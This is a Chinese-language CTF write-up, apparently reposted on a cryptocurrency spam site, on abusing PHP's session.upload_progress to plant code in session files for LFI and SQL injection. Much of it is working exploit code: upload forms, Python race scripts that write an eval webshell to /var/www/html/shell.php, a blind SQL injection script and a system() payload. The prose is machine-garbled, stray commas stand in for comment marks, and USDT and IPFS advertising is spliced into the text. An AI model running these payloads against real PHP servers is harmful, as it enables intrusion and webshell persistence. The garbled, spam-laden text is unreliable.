[toc]

前言

今天来说一个老生常谈的器械吧,虽然已经很老了,然则在 CTF 中照样经常遇到。

基础知识

PHP SESSION 的存储

Session会话储存方式

PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini内里设置session的存储位置session.save_path

总结常见的php-session默认存放位置是很有需要的,由于在许多时刻服务器都是根据默认设置来运行的,

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

若是没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)
而一样平常情形下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

与 SESSION 有关的几个 PHP 选项

session.auto_start:若是开启这个选项,则PHP在吸收请求的时刻会自动初始化Session,不再需要执行session_start()。但默认情形下,也是通常情形下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:示意当文件上传竣事后,php将会立刻清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情形下,该选项的值是0,此时用户可以自己界说Session ID。

Session Upload Progress

Session Upload Progress 即 Session 上传进度,是php>=5.4后最先添加的一个特征。官网对他的形貌是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么辅助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处置中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 毗邻在一起的值。

下面给出一个php官方文档的一个进度数组的结构的样例:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

此时在session中存放的数据看上去是这样子的:

<?php
$_SESSION["upload_progress_123"] = array(    // 其中存在上面表单里的value值"123"
 "start_time" => 1234567890,   // The request time 请求时间
 "content_length" => 57343257, // POST content length  post数据长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed  已吸收的字节数目
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  上传区域
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",     // 上传文件名
   "tmp_name" => "/tmp/phpxxxxxx",     // 上传后在服务端的暂且文件名
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

行使 Session Upload Progress 上传 Session

实验环境:

  • 目的主机Ubuntu:192.168.43.82

Session Upload Progress 最初是PHP为上传进度条设计的一个功效,在上传文件较大的情形下,PHP将举行流式上传,并将进度信息放在Session中,此时纵然用户没有初始化Session,PHP也会自动初始化Session。而且,默认情形下session.upload_progress.enabled是为On的,也就是说这个特征默认开启。以是,我们可以通过这个特征来在目的主机上初始化Session。

从上面官方的案例和效果中可以看到,session中一部门数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要在上传文件的时刻,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS,目的服务器的PHP就会自动启用Session,Session文件将会自动确立。

我们怎么将session传已往呢?这里我们需要在内陆组织一个上传和POST同时举行的情形,接下来我们组织一个上传表单,把下面代码保留为poc.html:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

内陆接见poc.html,然后随便上传个文件后抓包,在HTTP头中加上一个 Cookie: PHPSESSID

如下图所示,乐成在目的主机上初始化了一个随机命名的Session:

行使 Session Upload Progress 来 Getshell

在上面的实验中我们乐成行使 PHP_SESSION_UPLOAD_PROGRESS,目的服务器上自动确立了一个Session文件。若是此时目的网站还存在文件包罗破绽的话,我们便可以配合文件包罗破绽来Getshell。其原理大致就是通过 PHP_SESSION_UPLOAD_PROGRESS 在目的主机上确立一个含有恶意代码的Session文件,之后行使文件包罗破绽去包罗这个我们已经传入恶意代码的这个Session文件就可以到达攻击效果。

详情可以看我的另一篇文章:《SESSION LFI GetShell Via SESSION.UPLOAD_PROGRESS》

然则现实是残酷的,事实上这并不能完全的行使乐成,由于 PHP的 session.upload_progress.cleanup = on 这个默认选项会有限制。即文件上传竣事后,PHP 将会立刻清空对应Session文件中的内容,这就导致我们在包罗该Session的时刻相当于在包罗了一个空文件,没有包罗我们传入的恶意代码。以是我们需要条件竞争,赶在文件被祛除前行使包罗即可。

另有一个点就是,若是此时不划定目的服务器上天生的Session文件的名字,就会天生一大堆纷歧样的Session文件,由于该Session文件过马上就会被祛除,以是基本不是知道到底要用哪一个Session文件:

以是这里还要对天生的Session文件举行重命名,划定其天生指定的名字,固然这也是可行的,就是在cookie内里修改PHPSESSID的值。假设我们修改PHPSESSID为whoami,则天生统一的Session文件——"sess_whoami"

默认情形下,session.use_strict_mode 值是0,此时用户是可以自己界说Session ID的。好比,我们在Cookie里设置PHPSESSID=whoami,PHP将会在服务器上确立一个session文件:/var/lib/php/sessions/sess_whoami。

,

USDT交易平台

U交所(www.9cx.net)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,

使用 Python 实现确立 Session 文件的历程:

import io
import requests
import threading

sessid = 'whoami'

def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )

with requests.session() as session:
    while True:
        POST(session)
        print("[+] 乐成写入sess_whoami")

手动行使

(1)上传文件并抓包

使用如下 poc.html 随便上传一个文件并抓包:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

如下图所示,添加一个Cookie并将PHPSESSID的值改为whoami:

这样就会天生统一名称的session文件——"sess_whoami",然后发送到Intruder不停发包,天生session,传入恶意会话。

(2)设置请求载荷 Null payloads 后不停发包,维持恶意session的存储

在这里我们不停发包,在服务器上我们可以看到天生的已传入了恶意代码的session文件:

(3)然后再去抓个包,行使目的网站上的文件包罗破绽不停去包罗这个恶意会话文件

http://192.168.43.82/index.php?file=/var/lib/php/sessions/sess_whoami

这样,一边不停发包以维持恶意session存储,另一边不停发包请求包罗恶意的session。如上图所示,发现包罗行使乐成。

当目的服务器的Web目录有权限时,行使这种方式我们可以乐成在目的主机上写入Webshell,行使如下poc即可:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

行使剧本

上面的手动行使对照穷苦,我们可以编写行使剧本一键化完成整个攻击流程,并在目的服务器上写入Webshell。

import io
import sys
import requests
import threading

sessid = 'whoami'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.168.43.82/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://192.168.43.82/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
        , print('[+++]retry')
        , print(response.text)

        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

执行该行使剧本,如下图所示,乐成在目的服务器中写入了Webshell:

在 Session 反序列化中的行使

Session反序列化破绽的行使方式是通过传入恶意的序列化内容到指定的url,将其保留到session文件中。其本质是先将恶意内容传入,当再由另一个session选择器差其余页面重新加载session时,由于session序列化与反序列化引擎的差异,通过我们全心组织的数据包,就可以绕历程序的验证或者是执行一些系统的方式。

详情请参考:https://blog.csdn.net/qq_45521281/article/details/105890170

[PwnThyBytes 2019]Baby_SQL

进入问题,一个登录框:

接见source.zip获得源码。

index.php:

<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");

    return addslashes($value);
}

isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

?>

可以看到这里将通过GET、POST、SESSION和REQUEST方式获取到的参数所有使用addslashes函数举行了过滤。

register.php:

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));

?>

login.php:

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

可以看到这里的SELECT语句本应该是可以举行团结注入的,然则由于index.php中将所有通过GET、POST、SESSION和REQUEST方式获取到的参数所有使用addslashes函数举行了过滤。以是我们要想在login.php中举行sql注入就需要绕过index.php中的过滤,那我们能否直接接见login.php举行sql注入呢?我们看到index.php中使用session_start()函数初始化了session,后面的login.php和register.php中都在开头位置使用 !isset($_SESSION) AND die("Direct access on this script is not allowed!"); 判断是否存在session,若是不存在的话就退出程序,以是若是我们要直接接见login.php举行sql注入的话,还需要带上一个session才行,这里边用上了我们的 PHP_SESSION_UPLOAD_PROGRESS 了。我们可以使用 PHP_SESSION_UPLOAD_PROGRESS 来在目的服务器上初始化一个session,然后便可以绕过index.php中的检测,直接接见login.php举行sql注入了。

由于login.php中没有输出,以是我们需要举行盲注,最后给出注入的exp剧本:

import io
import requests

url = 'http://54445ca2-77f7-4a00-9166-2b52e9fd20ef.node3.buuoj.cn/templates/login.php'
flag = ''

f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}

for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       ,payload = "test\" or (ascii(substr((select database()),%d,1))>%d)," %(i,mid)
       ,payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)," %(i,mid)
       ,payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)," %(i,mid)
       payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)," %(i,mid)
       data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
       cookie = {"PHPSESSID": "whoami"}
       params = {
           "username": payload,
           "password": "123456"
       }
       res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
       ,print(res.text)
       if 'meta' in res.text:      , 为真时,即判断准确的时刻的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

[WMCTF2020]Make PHP Great Again

进入问题,给出源码:

代码很简朴,简朴的文件包罗,但隐藏着伟大的玄机。乍眼一看使用php://filter伪协议包罗flag.php即可获得flag,然则在PHP中,require_once() 函数在挪用时PHP会检查该文件是否已经被包罗过,若是是则不会再次包罗,如上图的代码中flag.php已经被 require_once() 函数包罗过了,以是我们就不能再使用他读取flag.php的源码了。那么我们可以实验绕过这个机制吗?

这里预期的解法是用伪协议配合多级符号链接的设施举行绕过,然则这里既然存在文件包罗,而且 session.upload_progress.enabled 选项又是默认开启的,那我们便可以行使该机制在目的服务器上写入Webshell或者执行随便代码直接读取到flag,exp如下:

import io
import sys
import requests
import threading

sessid = 'whoami'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /proc/self/cwd/flag.php');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/?file=../../../../../../../../tmp/sess_{sessid}')    , 该题天生的session存放在/tmp目录下
        , print('[+++]retry')
        , print(response.text)

        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

Ending......


万利逆熵

万利逆熵官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

USDT官网接口声明:该文看法仅代表作者自己,与本平台无关。转载请注明:ipfs矿机合租(www.ipfs8.vip):浅谈 SESSION_UPLOAD_PROGRESS 的行使
发布评论

分享到:

ipfs矿机网(www.ipfs8.vip):搜狐第一季度营收2.22亿美元,同比增进24%
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。